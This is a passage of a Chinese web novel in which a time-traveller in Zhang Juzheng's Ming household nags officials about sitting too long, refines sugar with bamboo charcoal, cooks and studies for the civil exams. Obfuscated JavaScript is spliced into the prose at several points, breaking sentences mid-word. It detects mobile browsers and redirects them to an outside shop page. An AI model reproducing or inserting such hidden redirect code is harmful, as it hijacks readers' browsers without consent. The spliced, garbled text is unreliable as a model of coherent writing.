顾闲一脸骄傲:“对吧,您也觉得我说的有道理。”他趁热打铁地邀请张居正从今天起别坐官轿了,咱一起遛弯去,每天一万步,走出健康好身体! 在顾闲一番激情游说之下,张居正不得不带着群小尾巴开始了自己今天的徒步上衙活动。 就这么干走也不是事儿,张居正便在路上给顾闲三人布置今天的功课。 尤其是顾闲。这小子真是太闲了,歪理还一套一套的,连他都不知不觉地上了他的套,开始关注起自己会不会被痔疮找上门。 他平时一天也就坐……四五个时辰,也不是很久吧! 这么一算,张居正更沉默了。 当天不必开大朝会,宫门口倒是不像第一天那么热闹,他们只在路上遇到几个同僚。见张居正在教导几个后辈,大伙也都知趣地打完招呼就自己走。 到了内阁,徐阶他们也没再逮着张居正打趣。毕竟这种小事笑个一两回就差不多了,都是得为大明做重要决策的内阁成员,哪能一天到晚这么撩闲? 高拱倒是觉出张居正今天有那么一点不同。 重点体现在,张居正今天特别喜欢往外跑。 要去六部走一趟?张居正表示他去;要去翰林院走一趟?张居正表示他去;要去向陛下请示?张居正表示他去。 虽说张居正资历最浅,平时很多活都是他在干,但也没有这么大包大揽过。 不对劲,这不对劲。 等张居正终于闲下来,高拱才好奇地凑过去问:“你今儿怎么回事?跟屁股下有钉子似的老往外跑。” 张居正又是一阵沉默。 能说吗?有些事情是不能关注的,一旦开始关注就会疑心这样下去自己会不会真有这样或那样的问题。 事已至此,不如……拖高拱下水! 不能只有自己受这种折磨。 既已拿定主意,张居正便娓娓问道:“……你知道久坐的危害吗?” 11.第 11 章 很快地,大明几位内阁成员齐齐探讨起了久坐成痔的问题。 痔疮这种东西,自古以来都很爱找上读书人,只不过有的人秘而不宣,有的人却热爱挂在嘴边。 比如正德皇帝一朝,有位叫做李东阳的首辅就大大方方地把自己得了痔疮的事情广而告之,以至于皇帝都给他赐下痔疮药慰问…… 这还是近的,远的还有赫赫有名的苏东坡,那也是个饱受痔疮困扰的大文豪,不仅写诗记录自己痔疮发作时的痛苦,还跟亲朋好友分享自己多年治疗痔疮经验摸索出来的宝贵药方。 从这些大嘴巴文臣前辈们留下的哀嚎可以看出,文臣群体属于容易得痔疮的高危人群,就看你愿不愿意面对而已。 张居正跟高拱聊起久坐危害的时候,徐阶他们也都在旁边听着。 有些话题平时大伙羞于启齿,可一旦有人开了头又挺想交流交流。 在场就不止一个人已经有此困扰,要么跟着聊上几句,要么竖起耳朵听其他人说话。 徐阶倒是没有这方面的烦恼,他从小命就硬,一岁曾经掉进枯井里,活下来了;五岁曾经摔下山,也活下来了;长大后他又严于律己,连坐姿都永远端正如松,至今都没什么毛病找上门。 得知这话题是张居正起的头,徐阶难免要给他讲一讲养生心得,主要是叫他做起事来别没日没夜地忙活,累倒了自己那不是得不偿失吗? 本来挺正常的劝导,旁边的高拱却笑着来了一句:“论养生功夫,确实没人比得上您老,再急的事情都可以压着不办。” 室内一静。 高拱其人,特点就是一点就爆,甭管你是不是首辅,我不服就是要干。当年他去参加聚会,严嵩来了大家都忙着奉承,他偏笑呵呵地来一句“大鸡昂然来,小鸡悚而待”,一句话得罪了在场所有同僚。 他这脾气显然没有因为首辅换成徐阶就有所改变。 ——还是一样臭。 张居正心中无奈,只得坐正了身体不再与高拱多聊题外话,免得徐阶愈发不高兴。 …… 顾闲并不知道自己的危言耸听达到了极好的效果,回去的路上他瞧见路边有卖竹炭的,来了兴趣,想买一些回去,摸摸自己的钱袋子却一个铜板都没有。 张敬修察觉顾闲不走了,眼神里对竹炭充满了渴望,也在旁边说道:“如果需要用竹炭,可以直接让人送到府上。” 送到府上自然是走公账,家中会有人专门负责此事,不必他们自己掏钱。 顾闲说道:“那我买点试试。”他上前问过价格,报出了张府地址,让人把需要的竹炭都送府上。 府中倒不是没炭,只不过用的都是木炭。 别看竹子漫山遍野都是,实际上烧竹炭比烧木炭工序要稍微复杂一些,所以市面上竹炭比较少,价格也略高,对普通人家而言不算特别实惠。 顾闲得了竹炭,便又钻进厨房捣鼓起来。 马上快端午了,北边喜欢做甜粽子,市面上的红糖杂质多、品质差,白砂糖又太贵,他将竹炭稍微加工加工,可以用来过滤杂质、吸附杂色,轻轻松松将便宜红糖变成符合自己要求的糖! 除了提升红糖品质外,还可以做个简易净水装置。要是张居正用着觉得好回头可以订做一批卖给达官贵人,那也是一个不错的进项! 这是顾闲从洋人那里学来的,当初国内非常推崇洋人的东西,达官贵人家里就用上了这种净水器。 一般是订做个大大的陶瓷缸,中间放置净化水质的过滤层,底下安装个拧动出水的水龙头。 这些配件全都得定制,成本当然不低,但达官贵人用的东西哪有便宜的?你要是弄些便宜东西卖他们,他们看都不会多看一眼! 这都是以后需要考虑的事了,当务之急是要先把竹炭用起来,可不能让府里白花钱! 顾闲一整天都在捣鼓那堆竹炭,到下午张敬修他们散学回来才想起自己书还没看呢,忙收起家伙读书去。 临时抱佛脚之余,顾闲还是顺手给今天的晚饭添了道菜——清蒸鲈鱼。 别看“清蒸”两字那么简单,仿佛只要放进锅里蒸熟就成了,实际上想把鱼蒸得好吃可不容易。要不是今天的鱼瞧着又新鲜又好,顾闲也不敢选这种做法。 张居正这天上桌一看,又瞧见那摆成鱼跃龙门状的清蒸鲈鱼。 他不太喜欢吃鱼,觉得这玩意腥味太重,吃完味道久久不散,实在叫他难以容忍。若是想彻底遮掩住腥味,往往又得加很多香辛料,滋味过于浓郁,尝不出鱼肉本身的鲜美。 总而言之,清蒸鱼不是张居正的心头好,平时顶多意思意思地吃上几口。 可想到顾闲前几天展露出来的手艺,张居正只迟疑了一瞬就把筷子伸向了那盘清蒸鲈鱼。 那鱼肉光润莹白,肉质细腻而紧实,夹起来竟不会散架。入口一尝,那更是鲜美异常,丝毫没有鱼肉常有的腥气。 桌上人多,顾闲也顾不上讲讲这鲜嫩的鲈鱼是怎么做出来的。 等到吃饱喝足,他才给张居正说起这里头加了他提炼出来的白糖。蒸鱼的时候加上那么一小把,去腥提鲜效果特别好! 张居正微讶:“倒是吃不出甜味。” 顾闲说:“鱼肉本身就是鲜甜的,少少地加一点也不明显,过几天包粽子就能尝出来了!” 白天曾跑去观摩顾闲提炼白糖的张简修忍不住跟张居正描述当时的情况:明明是黑黑的炭弄下去,过滤出来的糖水却越来越白,真是太神奇了! 张居正倒是听人说起过市面上那些白糖的做法,据说是南边的商贾用黄泥水把黑糖给脱色成了白糖。 用竹炭来制白糖的办法倒是闻所未闻。 张居正道:“你这法子倒是新奇。” 顾闲道:“也不新奇了,我早几年就跟我朋友研究过。他这些年就在江南一带做白糖生意,每年都给我分润来着!” 可惜他在吃这方面太舍得花钱了,每年的分润钱有多少吃多少,常年处于钱袋空空的可怜状态。 张居正见他一脸“我怎么这么穷”的愁容,一时也不知该说什么好。 还以为他只是把自己家给吃穷了,原来他还有别的进项? 看来半大小子吃穷老子这句话还真不是白讲的。 张居正开始考虑要不要多给人写几篇文章了。 大明官员的俸禄不高,大家额外的花销大多得靠自己想办法挣。 当地方官的话来钱的办法比较多,而当京官的来钱路子就比较单一了。 一是收别人的孝敬。 这个是有风险的,说难听点就是贪污受贿。必须是信得过的自己人才能收,否则回头人家告你一状,你官都可能当不下去! 二是收点儿润笔费。 底下的人升迁、调动或者家里办红白喜事,需要写点文章纪念一下,诚心诚意求到你面前来,你作为一个关爱下属的上司答不答应?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15849629|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这个风险比较小,算是京官难得的合法收入来源,但只有官位够高的人才能操作。 张居正现在的官正好够格了,偶尔可以靠文章增加点收入。 不过这事也不着急,他并不是为了满足这些私欲才当官的。有他不会拒绝,没有他也不会主动去要。 张居正端起手边的茶水漱了漱口,又挨个点名开始当天的考校。 顾闲今天心思全在制糖和净水上,看书有些囫囵吞枣,好几个问题都答得磕磕绊绊。他暗自捏了把汗,看张居正没开骂才放下心来。 老实说,张居正绷起脸的时候总给人一种他随时会骂你一顿的感觉,没想到全程都挺和风细雨。 姐夫,好人呐! 顾闲才在心里夸完,就听张居正说道:“我还没看过你写的文章,明儿你从刚才的题里挑两道写一写。” 顾闲:????? 他错过什么了吗? 怎么才让看了两天书,就直接让写文章了?! 可看张居正一脸自然,对张敬修、张嗣修、张懋修这三个年纪稍大的娃也挨个安排了差不多任务,顾闲又把满腹疑问咽了回去。 兴许张居正自己是神童出身,教导别人的时候也跳过一些步骤吧!左右顾闲也不是不会写文章,顶多只是白天不能再搞东搞西了而已。 顾闲这么想着,夜里又睡了个好觉。 第二天又屁颠屁颠赶着鹅送张居正到公门口,殷殷叮嘱张居正今天也务必要多多起来走动。 正说着呢,又听旁边有人来了一句:“原来这事是你小子起的头。” 顾闲转头看去,发现是上次见过的高拱。 听高拱话里的意思,张居正昨天跟他提到过不要久坐的事? 妙哇! 这又是同僚又是朋友,盯梢起来多方便哪! 顾闲诚心诚意地把让张居正远离痔疮的要责托付给高拱:“高阁老好!您是姐夫的同僚,平时可得督促他别一直坐着。” 高拱乐道:“好好好,此事交给我来办。” 顾闲犹不放心,继续分享自己新了解来的痔疮治疗方案:“我昨日回去的路上跟个医士聊了聊,才晓得那砒霜方也是搽在痔疮那里的,得夹着那掺了砒霜的药条到痔疮变黑脱落。真要这么治,人估计也没了,多可怕!为了不受这种苦痛,可得防范于未然!” 别以为不吃进嘴里就安全,这药条塞到患处,不就是塞直肠吗? 顾闲听留洋的人讲过不少国外的奇葩事,比如外国从皇帝到贵族都曾经热爱一种灌肠疗法,据说他们认为这样能够清肠排毒。 有位叫路易十四的洋人皇帝,一生曾灌肠两千多次! 既然贵族们这么爱灌肠,当然不能满足于只灌清水,后头慢慢就衍生出各种药汤、花茶灌肠法。后来还有人用咖啡的哩! 这还是普通贵族的普通养生方法,而有位想法很特别的贵族曾经用……砒霜灌肠! 结局当然是把自己灌没了。 后来有医学研究表明,从直肠给药比喝下去吸收得更快! 所以说这砒霜方可不能塞到直肠里用,要不然患者就得和痔疮同归于尽了! 正经学问顾闲可能记不清楚,这些奇闻异事他记得可牢了,揉吧揉吧就给张居正两人讲起了直肠塞砒霜的危害。 高拱:“……” 张居正:“……” 能不能别在大庭广众之下科普这种奇怪的知识? 12.第 12 章 张居正与高拱相携迈入宫门,高拱调侃:“你这小舅子还怪有意思的。” 张居正道:“你这么喜欢,改天让他去你家作客。” 高拱想到顾闲那闲不住的嘴,笑呵呵地说:“算了,还是你自己消受吧。” 另一头,顾闲将鹅赶回家,开始老老实实地提笔写文章。 他的字写得还不错,虽不能说年纪轻轻堪比书法大家,但一眼看去整齐漂亮,拿来应试绰绰有余。 书法发展到明清一朝基本就没什么新意了,普通人找对书帖只管闭眼练就是了。 这不巧了吗?他们家在苏州,那可是书画文化鼎盛之地,文徵明、唐伯虎、沈周那群人都算是他同乡,最不缺的就是好的书帖。 顾闲从小跟着亲哥读书习字,后来又去县学玩耍过几年,该学的、该练的他基本都练过了。 张居正交待的两篇文章写完,他还有些余兴未了,又提笔洋洋洒洒地来了篇《养生贵动》,引经据典阐述“流水不腐户枢不蠹”的重要理论。 三篇文章写完,天色还早得很,张敬修他们都没散学。 顾闲闷头写了半天文章,写完发现没人可以一起玩,有点儿待不住了,决定揣着《养生贵动》去找王世贞玩耍。 据说自从好友李攀龙去世后,就轮到王世贞雄霸文坛二十年,属于当代文坛领袖。这新写了文章,又刚巧结识了当代文坛第一人,不得去找他品鉴品鉴吗? 顾闲说干就干,揣着自己的“新作”去寻王世贞。 王世贞,那也是个读了半辈子书、热爱埋首写文章的家伙。一看就知道他肯定也有很多文人的毛病,比如长期伏案写作! 听说人生病的时候,身体上的难受没法缓解,很容易骂天骂地骂看不顺眼的人。 说不定那什么《嘉靖以来首辅传》,就是王世贞身体不佳的情况下想想自己时运不济,决定把不喜欢的家伙拉出来挨个骂一骂! 所以说,想让张居正少挨点骂,多活几年改变大明命运,必须对王世贞这个同乡兼文坛大佬也予以足够的关怀! 绝对不是因为他太闲了! 顾闲这么想着,揣着文章溜达到法华寺。 才刚进寺里,顾闲又遇到那个年过半百的宦官,对方这次穿着一身便服,似乎在寺里住下了。 顾闲忍不住在心里犯嘀咕:这人瞧着也没到退休年龄,怎么就住宫外来了?真是奇了怪了。 但彼此素不相识,顾闲也只是很有礼貌地跟对方打了个招呼就溜去老地方找王世贞。 王世贞正在看信呢,就瞧见窗外探出颗熟悉的脑袋来。 他心道,张居正怎么还不安排这小子去读书,整天由着他这么到处晃荡! 不过顾闲是南直隶人,真要读书也该回南直隶去,断没有在京师入学的道理。即便是张居正来安排,估计也只能给他弄去外头的书院或者去捐个附学生。 王世贞心中犯嘀咕,面上却没说什么,放下手里的书信笑着问道:“你怎么过来了?” 顾闲说:“听说你文章写得特别好,我新写了篇文章,你能给我看看吗!” 他才十三四岁,正是朝气蓬勃的年纪。那么一双乌亮有神的眼睛满含期盼地朝你望过来,谁都很难把拒绝的话说出口。 王世贞边接过文章边说道:“看倒是没问题,不过你怎么不找你姐夫给你看?” 顾闲说:“这文章的内容我都给他讲过了,而且他去上衙了还没回来!” 王世贞:“……” 敢情你见我是个闲人才来找我。 听顾闲说文章内容已经给张居正讲过了,王世贞倒是来了兴致,认真翻看起手中的文稿来。可越看吧,他神情越是微妙,因为这文章介绍的内容实在有点儿不雅,很难想象张居正会跟人讨论这种问题! 尤其是顾闲行文有种很特别的味道,看着看着就让人想起来走动走动;等写到没条件起身运动也可以悄悄在座位上做几组提肛运动的时候,更是让人忍不住跟着使了使劲! 很怪! 但谁能拒绝拥有健康的身体! 这两年刚大病过一场的王世贞比谁都更清楚生病有多难受,被病痛折磨的时候真是恨不得自我了断算了。 所以,那个灌肠之法真的有清肠排毒之效吗? 直肠给药能起双倍疗效,这谁能拒绝! 王世贞很想问问,但又开不了口。他是个从小风雅到大的文艺中年,实在不好意思跟个后辈聊这种跟粪门有关的话题。 最好还是不生病! 事实上灌肠疗法无论中医还是西医都有研究,是一种源远流长的常规治疗方法,在临床医疗中对某些肠道疾病以及肾脏疾病有一定的疗效,只是很少有人把它当成日常清洁环节长期坚持做而已。 尤其是王世贞这样的斯文人,那更是很难接受这种疗法! 王世贞放下文稿的时候,都已经暗暗完成一组提肛运动了。他看了眼趴在窗边等着自己点评的顾闲,笑着说道:“你画的这些小人倒是别致。” 顾闲写到提肛运动以及日常锻炼时,画了一些小人展示相关动作,瞧着那叫一个活灵活现,要不然王世贞也不会不知不觉跟着做。 “我学过一段时间作画的。”顾闲骄傲地说,“虽没学出什么名堂,但大家都夸我神韵抓得好!” 他学画可不是为了画画,而是为了雕花摆盘,他的画家朋友嫌他总画俗气的东西,可他就是个俗气的人,浑身上下没哪儿跟高雅沾边! 王世贞倒不觉得奇怪,他们苏州那地方遍地都是画家、书法家、藏书家,最不缺的就是擅长舞文弄墨的人。他笑着打趣:“你这文章该多印几份给每个读书人都看看。” 顾闲一听,这是得到了王世贞的高度赞赏,他高兴不已,正要再让王世贞多说几句读后感,又瞧见悟真和尚从外头走了进来。他立刻挥着手跟别人打招呼:“你回来了!” 悟真和尚奇道:“小友你又来了。” 顾闲说:“我新写了篇文章,拿来给元美兄看看。” 他一个半大小子,跟人家王世贞平辈相称一点都不害臊。 在他心里,王世贞跟张居正是同年,而张居正又是他姐夫,属于同辈,他喊王世贞一声“元美兄”有什么问题? 一点问题都没有! 顾闲热情地邀请悟真和尚也来看自己的新作,并复述王世贞对自己文章的高度评价:全天下的读书人都该看看! 王世贞:“……” 悟真和尚道:“那我可得拜读一下。” 顾闲一脸谦虚:“谈不上拜读,就是交流交流。” 悟真和尚虽然做烤鸭卖,自己却还是常年吃素,倒是没什么痔疮问题,不过诵经和入定时免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15853805|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了会久坐,读起来代入感也极强。他通读完整篇文章,觉得确实很活灵活现,一般人写不出这种感觉! 从卖烤鸭这事儿就看得出来,法华寺是个非常世俗化的地方,虽不敢说比肩宋代的大相国寺,但也算得上是城东一带香火十分旺盛的佛寺了。 悟真和尚凭着卖烤鸭在寺里得了诸多优待,自然想维系好冲着自己来的香客群体。他和顾闲商量起来:“你这文章能给我用吗?我给你润笔费,回头印来派发给买烤鸭的香客。” 来烧香拜佛的,除了少数人纯馋烤鸭以外,大多数香客还是想求个平安顺遂的。 这篇养生文章写得有理有据,照着做说不准还真有益身心健康,正适合给香客们当赠品。 顾闲没想到还有这样的生意找上门,他大方地说道:“哪用什么润笔费,你要就拿去用。” 悟真和尚道:“你我既是朋友,哪能让你吃亏?左右这钱也不是我来掏,你不必想着替我省钱。” 顾闲一听这钱不是悟真和尚自己出,马上换了口风:“那你看着给,我也不知道这什么润笔费的行价。” 两人三言两语敲定了此事,顾闲才神神秘秘地压低声音向悟真和尚问起那宦官的事。 他都遇上对方两次了,可见有那么一点缘分,挺好奇对方是谁! 悟真和尚见周围没旁人,只顾闲和王世贞在,便也压低声音回答:“那是宫中的李大珰。” 所谓的大珰,指的是宫中地位最高的那批太监。 这位大珰名叫李芳,原本管着内官监。 内官监可不是管太监的,而是管着皇室营造事务,算是内廷的工部。 前段时间他配合着徐阶等人干了件好事,那就是出面弹劾了工部尚书徐杲。 这位工匠出身的工部尚书靠着营建各种道教建筑获得嘉靖皇帝的喜爱,不仅跻身六部尚书之列,还靠着自己主持的工程大肆敛财。 徐阶他们都是正经进士出身,哪里容得下这种从匠籍上位的?以前拿嘉靖皇帝没办法,现在新朝新气象,大家都不乐意跟徐杲继续共事。 这不,李芳一呈上对方的罪证,徐杲的尚书之位就被捋了,连带裁撤了他提拔上来的几百个“冗员”。 因着这事,李芳在朝臣中也名声颇佳。 只不过当宦官么,朝臣喜不喜欢不要紧,最要紧的是皇帝喜不喜欢。 从李芳现在待在寺里闲住的情况来看,隆庆皇帝显然并不喜欢他。 至于为什么,这就不是悟真一个和尚能打听到的了。 顾闲听了一耳朵,回到府中就与张居正说了这事。 张居正当然知道李芳出宫是怎么回事。 先是李芳提出的裁撤冗员和裁减经费得罪了不少人,而后李芳又频繁劝说隆庆皇帝不要奢靡享乐。 隆庆皇帝每次正在兴头上都会听到他说那些扫兴,自是对他愈发不喜。 这样听不得劝谏的皇帝,能是英明的皇帝吗?不少人心里都有这么个疑问,但谁都没有说出口。 张居正也没与顾闲说起具体情况,只叮嘱道:“宫中之事,你莫要去打听。” 顾闲听张居正这么说,麻溜结束了这个不该聊的话题,改为和张居正说起自己的文章获得王世贞高度赞誉的事。 悟真和尚还说要给他润笔费来着! 他又有钱花了! 13.第 13 章 张居正仔细一问,才知道顾闲写完两篇科考文章后又写了篇杂文。 等到这么三篇文章都写完了,他还有空跑去法华寺找王世贞玩耍。 少年人的精力实在充沛得过分。 张居正问:“你怎么不把你另外两篇文章也拿去给他看看?” 顾闲道:“这可是姐夫你让我写的,我先给别人看算什么事?肯定得让你第一个看!” 张居正:“……” 倒也不必。 这类应试文章就是一块敲门砖,用处是帮应试的考生敲开一扇扇通往仕途的门,真要说有多精妙绝伦那是极少见的。 只要写得足够流畅,观点又正好符合阅卷官的偏好,考个功名基本没问题。 只不过光是“流畅”以及“言之有物”这两点,已经拦住了不少平时连个自己观点都憋不出来的考生。 张居正让顾闲把写好的文章拿来给他瞧瞧,只通读了一遍,便摸清了顾闲的水平。 他说道:“你底子不错,只是练得少了,许多地方还有些生涩。等会我给你拿几份往年的科举卷子,你看书之余每天试着写写,多写写就知道需要怎么查漏补缺了。” 顾闲:? 怎么都没讲解一下,就要上科举真题了? 实际上这正是许多考生的训练之法,目前市面上最流行的书籍除了通俗小说之外就是科举辅导书了,包括但不限于往年科举真题、名师模拟试卷以及各式各样的科举必备册子。 真正逐字逐句去阅读经典的人反而是少数。 张居正道:“元美与我是同年进士,他治的是《易经》,你平时有这方面的疑问大可去寻他。” 科举分为五经,即诗、书、礼、易、春秋,但并不是五经都要考,而是采用选考模式。 一般从童子试开始,就要从五经里面选修一科,而后乡试、会试、殿试都考这一科。 比如你选修《诗经》,又考了本经第一,那你就是《诗经》的经魁!用处不大,不过如果你最终没能拿到案首或者会元之类的,拿个经魁也勉强有个名目可以跟人吹嘘。 顾闲还没正式入学,自是还没选好本经的。 顾闲好奇地问:“那姐夫你选的是什么?” 张居正道:“我选的是《礼记》。” 他以自己那一届科举为例给顾闲讲了讲五经的选修比例。 他同年一共录取三百零一人,其中治《诗经》的有一百零五人,治《书经》的有六十三人,治《易经》的有八十五人,治《礼记》的有二十二人,治《春秋》的有二十六人。 并不是录取人数多,竞争就不激烈。正相反,录取人数多是因为门槛比较低,选修的人太多。 这种情况下想脱颖而出同样不容易。 阅卷官要看一千份文章,跟阅卷官只需要看一百份文章,那耐心能一样吗?工作量太大的时候,阅卷官能认真给你看个头尾就不错了。 顾闲肃然起敬,说道:“那姐夫你治《礼记》挺好,以后当阅卷官要批的卷子少!” 张居正笑了笑,没有与顾闲说起阅卷的事往后估计不归他负责了。他已经入阁,若是主持科举肯定当主考官,到时候所有考生几乎都算是他的门生。 只不过他在内阁之中资历最浅,明年科举估计轮不到他了。 顾闲多机灵的人,一瞧张居正那笑而不语的模样,就知道自己犯了傻。 他回忆了一下自己听过的张居正八卦,想到了张居正是当过科举考官的,还录取了一批年轻人当自己的学生,可惜后来连这批学生也有对他改革举措不满的。 其中有个叫刘台的愣头青就曾上书弹劾他几大罪状。学生弹劾老师,哪能不让张居正震怒! 张居正当场动用明朝首辅的压轴技能:递辞呈。 辞呈内容一般是先为自己辩解数百字,最后来一句:“好好好,原是我不配当首辅,那我辞职不干了。” 这个时候只要君臣之间的情分还在,皇帝还想让首辅干活,那就会重重惩罚跳出来弹劾首辅的家伙。 很快地,那刘台就被撵出京师,再也当不了言官了。 顾闲用同情的目光看向张居正。 张居正早些年在裕王府当试讲学士,四舍五入也算隆庆皇帝的老师。 结果么,隆庆皇帝沉迷享乐,根本不怎么处理朝政。 据说有野史记载,隆庆皇帝在人生的最后阶段嗑房中药嗑嗨了,曾边咬张居正的手臂边说些宫闱之中的污言秽语! 可见这个学生不太行。 其次就是上头那个弹劾他的刘台了,这个学生也不怎么样! 至于后来他一手教导大的万历皇帝,那更是恨他到恨不得把他挖出来鞭尸的程度。 姐夫啊,不如你还是莫当老师了! 张居正:? 怎么感觉这小子的眼神怪怪的? 顾闲还没傻到在本人面前分享野史内容,他一脸乖巧地听完张居正的点评,才跑去看看自己炖的肉好了没。 入梅后雨水多,最近才晴了几天,今天中午瞧着又有点乌云密布的趋势,顾闲便决定炖锅肉补补。 下雨天没有太阳,情绪也容易受到影响,须得吃点好的快乐一下。 正好今天的棒骨很不错,顾闲早早把它洗净放进深锅里炖,这会儿掀开锅盖一看,里头的肉汤咕嘟咕嘟冒着泡,肉香更是一下子溢了出来,引得墙外经过的行人都忍不住深深吸了下鼻子,心道张居正家今晚吃的什么?怎么这么香? 顾闲拿筷子往棒骨上戳了戳,见筷子能轻松插进肉里,便知晓肉已经炖好了。 这样的大骨头倒是不必费心摆盘,大可连着汤端上去让大家自己捞,这样到自己碗里的棒骨还热腾腾的,吃着更香。 为了配这锅炖肉,顾闲还蒸了桶饭,那米饭粒粒晶莹,米香十足。别说配着肉吃了,只浇上那么一勺汤汁就能让最不爱吃饭的小孩都香到把碗底都舔干净。 中国地大物博,大江南北的口味是不一样的,顾闲没有托大,晚饭仍是只负责做了这么一道菜,其他菜依然由掌厨的比照着张家人过去的口味做。 掌厨的闻到那锅炖肉的香味,就晓得自己今晚做的菜估计又要剩下了。好在剩菜底下的人还能分吃一轮,倒也不浪费。 经过这几天旁观顾闲做菜,掌厨的算是服气了。只简简单单的一道炖肉,他做起来就是不一样,每道工序看似寻常,实际上别人很难像他这样处理得又快又细致。 总感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15864338|174837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉顾闲进入做菜状态后,整个人都像隔绝于世界之外,他的眼里只剩下把菜做好吃这件事! 如今凡是顾闲要动手做新菜,掌厨的会先占领最佳观摩位置,遇到不知道为什么要那么做的步骤还会虚心发问。 只要能学到顾闲五六成本事,他们哪怕不在张家做工了也能找到其他好东家。 郑大也一直跟在旁边打下手。他志不在学厨,但是有谁能拒绝了解一点把肉炖得更香的秘诀? 这锅炖肉上桌,一家子平时跟京师人似的不爱拿米饭当主食的人都盛了满满一碗饭,学着顾闲往米饭尖尖上浇了一圈肉汤。 浓郁的汤汁瞬间浸透了米饭,散发出诱人的肉香。至于大棒骨,更是人手一根,谁都没落下。 张居正本来是有点犹豫的,毕竟拿手吃东西多不雅观,不是君子所为! 可顾闲手快,一上桌就先给他捞了一根,他也不好扫大家的兴…… 自家人一起吃饭,哪有那么多讲究?一会把手洗干净就好。 张居正这么说服了自己,伸手拿起了属于自己的大棒骨。 别的地方的肉炖久了可能有点柴,但棒骨上的肉炖久了以后软烂适口,只虚挂在骨头上,随便一咬就能把整块肉吃进嘴里。 至于后面顾闲示范的吸骨髓…… 都上手吃了,也不差这么一点! 寻寻常常一锅炖棒骨,一大家子人都吃得相当投入,真就是连骨头里面都嗦干净了! 与此同时,有个在张家院墙外徘徊了许久的行人眼看宵禁将至,终于依依不舍地归去。 这人叫做李贽,目前在礼部当着个芝麻大的小官,负责抄送些文件之类的。 这种没有油水的京官,许多家中没钱的人都是避之唯恐不及的,但他觉得京师厉害的人多,想多跟这些厉害人物交流学习,便勒紧裤腰带来京师赴任了。左右父母已逝,女儿又已出嫁,他只需要养活自己和妻子便好,无牵无累,俸禄少点也无妨。 到了京师才知道,这日子是真的很难熬,俸钱少得可怜,房租又贵得要命,连想吃顿饱饭都得掂量一下自己兜里有几个铜板。 李贽写起文章来很有点傲气,日子却过得一贫如洗。 他早年因为家贫没继续考进士,早早以举人身份入仕,原以为这样能够养活一家老小,谁知道哪怕是举人出身也只能去当个教谕,跟他父亲那样是个穷教书的。 后来换了几个官,也全都是穷得响叮当的微末小官。想到自家儿女小小年纪就因为吃不饱穿不暖陆续夭折,他不免叹了口气。 在家乡经历寇乱、饥荒、时疫等等大灾大难后,他与妻子诞育的四儿三女只有大女儿顺利长大成人。 穿衣吃饭,穿衣吃饭,这么简单的事为什么轮到自己身上就那么难? 是他时运不济,还是他的犟脾气太容易得罪人?是医不足、粮不足、衣不足,还是他能力不足? 他熟读所有经典,却没法从中找出一个叫自家孩子活下来的办法。 李贽摸着空空的肚皮,想着刚才隔墙闻到的炖肉香味,只觉自己饿得走不回租住的廉价居处了。 端坐庙堂之上的诸位相公,知道大明王朝繁荣昌盛的表象底下年年都有那么多饿殍吗? 14.第 14 章 顾闲第二天就开始刷科举真题。 科举考的是四书五经,四书他算是通读过的,像给上句接下句这种倒很简单,遇到要他解释某句话含义的内容他也能自由发挥,答得还挺像那么一回事。 唯一让他为难的就是不知该选五经中的哪一经,最方便的当然是跟着张居正选,连买书的钱都省了,张居正家里有的是,还能跟张敬修他们探讨交流。 不过顾闲拿着《礼记》翻来覆去,总觉得兴趣不大。 他果然是个俗人,不太喜欢写满条条框框的《礼记》。真要选这个当本经,还不如学个《易经》呢,考不上说不准还能编点玄之又玄的话去当算命先生忽悠人,多实用! 张居正每日都要去上衙,顾闲白天写题写纠结了,就去找王世贞聊起这事。 面对一点都不见外的顾闲,王世贞也渐渐接受了这位“小友”。他说道:“是该考虑这件事了,下次县试在明年二月吧?” 顾闲连连点头,他虽没参加过县试,但具体时间还是知晓的。 童子试要考三轮,县试、府试、院试,一般而言二月考县试,通过者获得府试资格;四月考府试,通过者获得院试资格。 至于院试,那就是对所有考生来说都非常重要的一道坎了,跨过这道坎就是正儿八经的秀才。 对小老百姓来说,考上秀才最实惠的就是可以给家里挣两个免役名额! 没办法,官府摊派下来的劳役实在太多了,别提运输木材之类的常规活计了,就连新县令上任翻修县衙都得征召你过去干活,实在叫人苦不堪言。 更可怕的是,官府一边让你打白工,一边赋税还是照收,遇上灾荒年可不就家破人亡吗? 顾闲他哥就考了个秀才,后来屡试不过才歇了心思,要不然考个举人待遇更高。 顾闲两辈子都没进过考场,不过从旁人的反应也知晓自己应该是有点儿读书天赋的,就是不知道这天赋能在科举上起多大的用处! 没来京师前顾闲还没有去应试的打算,来了京师后想到几十年后山河破碎,心里便不太得劲。 